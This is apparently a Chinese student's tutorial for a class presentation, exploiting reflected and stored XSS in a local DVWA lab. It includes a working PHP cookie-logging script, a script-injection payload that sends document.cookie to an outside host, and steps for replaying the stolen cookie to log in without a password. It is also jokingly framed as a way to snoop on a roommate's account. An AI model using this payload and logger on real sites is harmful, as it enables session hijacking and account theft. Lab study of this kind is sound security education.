课堂上要求学生自由组队准备一个安全相关的主题讲解,于是会兴冲冲的找到学霸想抱大腿。最近应大腿的需求,决定要补充ppt一部分内容以掩盖我们打酱油的真面目,大胖这里是学霸的外号的意思是一个酱油的技术点太酱油,两个酱油的技术点拼起来就刁刁的叻!
前一篇酱油技术是
还有一个酱油技术就是本文了。
也是醉了,后来确定的主题竟然是如何帮助同学查看室友空间,更醉的是,这种猥琐的事情要让我来做!然而我并不会web安全,我只想安安静静的看汇编!
于是经过一番吐槽之后我躁动的心终于平静下来,下面进入正题:
环境
服务器:Apache
数据库:MySQL
网址:192.168.1.104/dvwa
访问者:192.168.1.113
关于如何安装dvwa网上的教程很多,这里不再敖述,可以搜索一下,需要注意的是,xampp端口被占用和局域网访问的两个问题。
端口占用
1.80端口冲突,解决方法:
打开目录C:\xampp\apache\conf(我的安装目录为C:\xampp)下的httpd.conf文件,将Listen 80和 ServerName localhost:80中的80改为8081或其它值(尽量不要使用0-1023端口,这个是系统保留端口),要保持一致。
2.监听端口443冲突,解决方法:
打开目录C:\xampp\apache\conf\extra (我的安装目录为C:\xampp)下的httpd-ssl.conf文件,将Listen 443这句注释掉:# Listen 443或将443改为4433或其它值(尽量不要使用0-1023)。
局域网访问
- 修改httpd.conf(xampp/apache/conf/httpd.conf)
把Listen 80改成Listen 192.168.0.188:80
192.168.0.188换成实际服务器的ip地址
- 打开httpd-xampp.conf(/xampp/apache/conf/extra/httpd-xampp.conf)
搜索关键字: Order deny,allow
然后在Order deny,allow下面一行有句 Deny from all
在Deny from all前加上#
完整形式:
<LocationMatch "^/(?i:(?:xampp|security|licenses|phpmyadmin|webalizer|server-status|server-info))">
Order deny,allow
#Deny from all
Allow from 127.0.0.0/8
# Require local
ErrorDocument 403 /error/XAMPP_FORBIDDEN.html.var
</LocationMatch>
配置好环境,在局域网下能够成功访问,就可以开始着手攻击了
攻击
xss reflected
发现漏洞
xss发生在一切由输入输出的地方。访问网页的时候发现遇到这样的窗口,在输入venidic的时候,浏览器直接返回成这样的数据
右键查看源码,发现根本没有做任何的过滤就直接返回了
<div class="vulnerable_code_area">
<form name="XSS" action="#" method="GET">
<p>What‘s your name?</p>
<input type="text" name="name">
<input type="submit" value="Submit">
</form>
<pre>Hello venidic </pre>
</div>
那我们直接可以利用</pre>
闭合掉前面的一个<pre>
标签,然后用<pre>
闭合掉</pre>
,在中间就可以填写攻击代码了
构造测试代码
</pre><script>alert(‘xss‘)</script><pre>
测试成功
利用漏洞
之前一直用xss就是弹个框以证实漏洞的存在,然而着并没有什么卵用,xss的猥琐之处在于它处于前端,可以很容易的造成js脚本在浏览器任意执行,达到窃取cookie,劫持用户会话,甚至是开发出xss worm。因为本人web实在太渣,所以只会讲最基本的盗取cookie的利用方式:
想要记录来访者cookie需要写一个脚本,如果受害者触发了这段js,则脚本就会记录下受害者的cookie
截获cookie的php脚本
<?php
$cookie = $_GET[‘cookie‘]; //以GET方式获取cookie变量值
$ip = getenv (‘REMOTE_ADDR‘); //远程主机IP地址
$time=date(‘Y-m-d g:i:s‘); //以“年-月-日 时:分:秒”的格式显示时间
$referer=getenv (‘HTTP_REFERER‘); //链接来源
$agent = $_SERVER[‘HTTP_USER_AGENT‘]; //用户浏览器类型
$fp = fopen(‘cookie.txt‘, ‘a‘); //打开cookie.txt,若不存在则创建它
fwrite($fp," IP: " .$ip. "\n Date and Time: " .$time. "\n User Agent:".$agent."\n Referer: ".$referer."\n Cookie: ".$cookie."\n\n\n"); //写入文件
fclose($fp); //关闭文件
header("Location: http://www.baidu.com")//重定向到baidu,防止发现
?>
那么js攻击代码就可以这样写:
</pre><script>document.location = ‘http://192.168.1.104/acceptcookie.php?cookie=‘ + document.cookie;</script><pre>
点击提交
网页被重定向到了baidu,证明攻击成功
打开脚本同目录下的cookie.txt
劫持成功
打开桂林老兵浏览器,修改cookie,然后登陆主页,无需密码直接进入
利用成功
xss stored
发现漏洞
继续浏览,发现有留言本
随便填写,发现没有任何过滤
攻击代码
message处:
<script>alert(‘xss‘)</script>
提交
触发成功,退出网站
此时,我作为网站管理员从服务器出进入网站管理
触发成功,作为游客浏览留言板,同样触发成功。
利用漏洞
xss利用相当灵活,最简单的cookie窃取的方法同上。
后
抱大腿的工作到这里就结束啦,希望学霸上课演讲顺利!不要辜负我在考试周前放弃预习,熬夜准备这个鬼而长出来的痘痘!
// _ooOoo_
// o8888888o
// 88" . "88
// (| -_- |)
// O\ = /O
// ____/`---‘\____
// . ‘ \\| |// `.
// / \\||| : |||// \
// / _||||| -:- |||||- \
// | | \\\ - /// | |
// | \_| ‘‘\---/‘‘ | |
// \ .-\__ `-` ___/-. /
// ___`. .‘ /--.--\ `. . __
// ."" ‘< `.___\_<|>_/___.‘ >‘"".
// | | : `- \`.;`\ _ /`;.`/ - ` : | |
// \ \ `-. \_ __\ /__ _/ .-` / /
// ======`-.____`-.___\_____/___.-`____.-‘======
// `=---=‘
//
// .............................................